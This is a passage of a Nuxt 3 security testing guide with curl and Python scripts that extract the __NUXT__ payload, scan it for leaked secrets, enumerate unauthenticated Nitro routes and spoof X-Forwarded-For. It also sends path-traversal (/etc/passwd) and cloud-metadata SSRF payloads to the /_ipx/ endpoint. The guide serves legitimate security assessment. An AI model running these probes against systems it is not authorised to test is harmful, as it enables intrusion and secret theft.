Nuxt.js Security Testing: NUXT_PUBLIC_ Env Exposure, Nitro Server Routes, SSR State

Nuxt 3's unified SSR/CSR architecture and Nitro server engine create a layered attack surface. Key risks: environment variables prefixed with NUXT_PUBLIC_ are serialized into the page HTML payload and exposed to all clients; runtimeConfig.public values are embedded in the __NUXT__ window object on every page render; Nitro server routes under /server/api/ have no authentication middleware by default; and SSR composables using useState with non-request-scoped keys share state between concurrent users. This guide covers systematic Nuxt 3 security assessment.

Table of Contents

  1. NUXT_PUBLIC_ Environment Variable and runtimeConfig Exposure
  2. Nitro Server Route Authentication and Authorization
  3. SSR State Pollution via useState and Shared Composables
  4. __NUXT__ Payload and useAsyncData Security
  5. Nuxt.js Security Hardening

NUXT_PUBLIC_ Environment Variable and runtimeConfig Exposure

# Nuxt.js — NUXT_PUBLIC_ env variable and runtimeConfig.public exposure
TARGET="https://your-nuxt-app.example.com"

# Nuxt 3's environment variable rules:
# PRIVATE (server-only):  DATABASE_URL=postgres://...  SECRET_KEY=...
# PUBLIC (client-exposed): NUXT_PUBLIC_API_BASE=https://api.example.com
#
# runtimeConfig in nuxt.config.ts:
# runtimeConfig: {
#   apiSecret: process.env.API_SECRET,        // server-only
#   public: {
#     apiBase: process.env.NUXT_PUBLIC_API_BASE, // embedded in HTML
#     stripeKey: process.env.NUXT_PUBLIC_STRIPE, // embedded in HTML
#   }
# }
# The entire runtimeConfig.public object is serialized into the __NUXT__ window variable.

# Step 1: Extract __NUXT__ payload from any page
curl -s "${TARGET}" 2>/dev/null | \
  python3 -c "
import sys, re, json
html = sys.stdin.read()
# Nuxt serializes public runtime config into window.__NUXT__
match = re.search(r'window\.__NUXT__\s*=\s*(\{.+?\})\s*;', html, re.DOTALL)
if match:
    try:
        data = json.loads(match.group(1))
        print('[FOUND] __NUXT__ payload:')
        print(json.dumps(data, indent=2)[:1000])
    except:
        print('[FOUND] __NUXT__ payload (parse error):', match.group(1)[:500])
else:
    # Nuxt 3.x uses a different format
    match2 = re.search(r']*>\s*window\.__NUXT__', html)
    if match2: print('[FOUND] __NUXT__ script tag detected')
    else: print('[NOT FOUND] __NUXT__ not found in HTML')
"

# Step 2: Check Nuxt payload endpoint (/__nuxt_island/ and /_payload.json)
# Nuxt 3 exposes payload JSON endpoints for island components and data hydration
for ENDPOINT in "/_payload.json" "/__nuxt_island/" "/_nuxt/builds/meta/"; do
  STATUS=$(curl -s -o /dev/null -w "%{http_code}" "${TARGET}${ENDPOINT}" 2>/dev/null)
  echo "${ENDPOINT}: HTTP ${STATUS}"
  if [ "$STATUS" = "200" ]; then
    curl -s "${TARGET}${ENDPOINT}" 2>/dev/null | head -c 500
  fi
done

# Step 3: Search for exposed secrets in the runtimeConfig.public section
curl -s "${TARGET}" 2>/dev/null | \
  python3 -c "
import sys, re
html = sys.stdin.read()
patterns = [
    ('API_SECRET', r'[\"\\x27](?:api[_-]?secret|apiSecret)[\"\\x27]\s*:\s*[\"\\x27]([a-zA-Z0-9_\-\.]{10,})[\"\\x27]'),
    ('DATABASE_URL', r'[\"\\x27](?:database[_-]?url|databaseUrl)[\"\\x27]\s*:\s*[\"\\x27]((?:postgres|mysql|mongodb)[^\"\\x27]{5,})[\"\\x27]'),
    ('STRIPE_SECRET', r'sk_(?:live|test)_[a-zA-Z0-9]{20,}'),
    ('JWT_SECRET', r'[\"\\x27](?:jwt[_-]?secret|jwtSecret)[\"\\x27]\s*:\s*[\"\\x27]([a-zA-Z0-9_\-\.]{16,})[\"\\x27]'),
]
for name, pattern in patterns:
    matches = re.findall(pattern, html, re.IGNORECASE)
    if matches:
        print(f'[EXPOSED] {name}: {matches[0][:80]}')
"

# Step 4: Extract runtimeConfig from Nuxt app bundle
# Nuxt bundles the app at /_nuxt/
for CHUNK_URL in $(curl -s "${TARGET}" | grep -oE '/_nuxt/[^"]+\.js' | sort -u | head -20); do
  curl -s "${TARGET}${CHUNK_URL}" 2>/dev/null | \
    grep -oE '"[a-zA-Z]{3,}":"[^"]{10,}"' | \
    grep -vE '"(module|type|src|href|rel|crossorigin)"' | head -10
done

Nitro Server Route Authentication and Authorization

# Nuxt 3 Nitro server route authentication testing
TARGET="https://your-nuxt-app.example.com"

# Nuxt 3's Nitro engine processes server routes defined in server/api/ and server/routes/
# A file at server/api/users.get.ts creates GET /api/users
# These routes have NO authentication by default — auth must be added manually.

# Step 1: Enumerate Nitro API endpoints (common patterns)
NUXT_ENDPOINTS=(
  "/api/users"
  "/api/user"
  "/api/me"
  "/api/profile"
  "/api/auth/session"
  "/api/admin"
  "/api/admin/users"
  "/api/data"
  "/api/settings"
  "/api/config"
  "/api/health"
  "/api/stats"
  "/api/metrics"
  "/api/internal"
)

for ENDPOINT in "${NUXT_ENDPOINTS[@]}"; do
  STATUS=$(curl -s -o /dev/null -w "%{http_code}" "${TARGET}${ENDPOINT}" 2>/dev/null)
  if [[ "$STATUS" =~ ^(200|201|204)$ ]]; then
    echo "[OPEN] ${ENDPOINT}: HTTP ${STATUS}"
    curl -s "${TARGET}${ENDPOINT}" 2>/dev/null | \
      python3 -c "import sys,json; d=json.load(sys.stdin); print(str(d)[:300])" 2>/dev/null
  fi
done

# Step 2: Test Nitro event handler authentication with method variants
# Nuxt server routes use .get.ts, .post.ts, .put.ts, .delete.ts suffixes
for METHOD in "GET" "POST" "PUT" "DELETE" "PATCH"; do
  for ENDPOINT in "/api/users" "/api/admin"; do
    STATUS=$(curl -s -o /dev/null -w "%{http_code}" \
      -X "${METHOD}" "${TARGET}${ENDPOINT}" \
      -H "Content-Type: application/json" \
      -d '{}' 2>/dev/null)
    [ "$STATUS" != "405" ] && [ "$STATUS" != "404" ] && echo "${METHOD} ${ENDPOINT}: ${STATUS}"
  done
done

# Step 3: Nuxt Auth / nuxt-auth-utils session validation
# Check for session endpoints exposed by nuxt-auth, sidebase/nuxt-auth, or nuxt-auth-utils
for SESSION_EP in \
  "/api/auth/session" \
  "/api/auth/providers" \
  "/api/auth/_session" \
  "/_auth/session" \
  "/api/_auth/session"; do
  STATUS=$(curl -s -o /dev/null -w "%{http_code}" "${TARGET}${SESSION_EP}" 2>/dev/null)
  if [ "$STATUS" = "200" ]; then
    echo "[SESSION EP] ${SESSION_EP}: HTTP ${STATUS}"
    curl -s "${TARGET}${SESSION_EP}" 2>/dev/null | \
      python3 -c "import sys,json; print(str(json.load(sys.stdin))[:300])" 2>/dev/null
  fi
done

# Step 4: Test Nitro server middleware bypass
# Nuxt server middleware in server/middleware/ runs before all routes
# Test if middleware auth can be bypassed via unusual paths or headers
SESSION="your-session-token"

curl -s "${TARGET}/api/admin/users" \
  -H "Cookie: nuxt-session=${SESSION}" 2>/dev/null | head -c 300

# Test with X-Forwarded-For to attempt IP allowlist bypass
curl -s "${TARGET}/api/admin" \
  -H "X-Forwarded-For: 127.0.0.1" \
  -H "X-Real-IP: 127.0.0.1" 2>/dev/null | head -c 300

# Step 5: Nitro cached routes — stale data from previous user
# defineEventHandler with cachedEventHandler() may cache authenticated responses
# First authenticated request may be served to unauthenticated users
curl -s "${TARGET}/api/users" -H "Cookie: nuxt-session=${SESSION}" 2>/dev/null | head -c 200
sleep 0.1
curl -s "${TARGET}/api/users" 2>/dev/null | head -c 200

SSR State Pollution via useState and Shared Composables

# Nuxt 3 SSR state pollution — useState and composable state cross-user leakage
TARGET="https://your-nuxt-app.example.com"

# Nuxt 3's useState() is designed for SSR-safe shared state.
# When used with a static key, the state key is shared across requests during SSR.
# A vulnerable pattern:
#
# composables/useUser.ts (VULNERABLE):
#   export const useCurrentUser = () => useState('user', async () => {
#     return await $fetch('/api/me')  // BUG: shared across all SSR requests
#   })
#
# The state key 'user' is shared — user A's data initializes the state,
# and subsequent SSR renders serve user A's data to user B.
#
# Safe pattern: use useRequestHeaders() and server-side cookies for per-request auth.

# Step 1: Detect SSR state in the __NUXT__ payload
# The __NUXT__ window variable contains serialized useState values
curl -s "${TARGET}/dashboard" 2>/dev/null | \
  python3 -c "
import sys, re, json
html = sys.stdin.read()
# Extract __NUXT__ payload
patterns = [
    r'window\.__NUXT__\s*=\s*(\{.+?\})\s*(?:;|)',
    r']*>\s*const __nuxt_data__\s*=\s*(\[.+?\])\s*;',
]
for pattern in patterns:
    match = re.search(pattern, html, re.DOTALL)
    if match:
        print('[NUXT STATE] Found serialized state:')
        print(match.group(1)[:800])
        break
"

# Step 2: Test if server-side fetched data is cached and served across users
# Make request as authenticated user, then as anonymous user
SESSION="your-session-token"
echo '=== Authenticated response ==='
curl -s "${TARGET}/profile" \
  -H "Cookie: nuxt-session=${SESSION}" 2>/dev/null | \
  grep -oE '"(email|name|id|user)[^"]*":"[^"]+"' | head -5

echo '=== Anonymous response (check for leaked data) ==='
curl -s "${TARGET}/profile" 2>/dev/null | \
  grep -oE '"(email|name|id|user)[^"]*":"[^"]+"' | head -5

# Step 3: Check nuxt/image and file serving for path traversal
# Nuxt image optimization endpoint: /_ipx/
curl -s "${TARGET}/_ipx/w_100/..%2F..%2Fetc%2Fpasswd" -v 2>&1 | \
  grep -iE "content-type|error|root:|daemon:"

# Test /_ipx/ for SSRF via remote image fetching
curl -s "${TARGET}/_ipx/f_webp/http://169.254.169.254/latest/meta-data/" \
  -v 2>&1 | grep -iE "200|ami-id|instance"

# Step 4: Check Nuxt DevTools exposure in production
# Nuxt DevTools should never be enabled in production
for DT_PATH in "/__nuxt_devtools__/" "/_nuxt/devtools/" "/__nuxt__/devtools/"; do
  STATUS=$(curl -s -o /dev/null -w "%{http_code}" "${TARGET}${DT_PATH}" 2>/dev/null)
  echo "DevTools ${DT_PATH}: HTTP ${STATUS}"
done

__NUXT__ Payload and useAsyncData Security

# Nuxt 3 __NUXT__ payload and useAsyncData security testing
TARGET="https://your-nuxt-app.example.com"

# Nuxt 3 serializes server-side fetched data into the page HTML for hydration.
# useAsyncData() and useFetch() results are embedded in __NUXT__ state.
# If a page uses useAsyncData() to fetch sensitive data, it appears in the HTML
# even for pages that appear to be behind authentication at the UI level.

# Step 1: Extract embedded useAsyncData results from HTML
curl -s "${TARGET}/dashboard" 2>/dev/null | \
  python3 -c "
import sys, re, json, html as html_module
content = sys.stdin.read()

# Nuxt 3 serializes state in various formats depending on version
# Format 1: window.__NUXT__ = {data: {...}, state: {...}}
m = re.search(r'window\.__NUXT__\s*=\s*(\{.{20,}\})\s*;', content, re.DOTALL)
if m:
    raw = m.group(1)
    print('[FORMAT 1] __NUXT__:', raw[:600])

# Format 2: Nuxt 3.7+ uses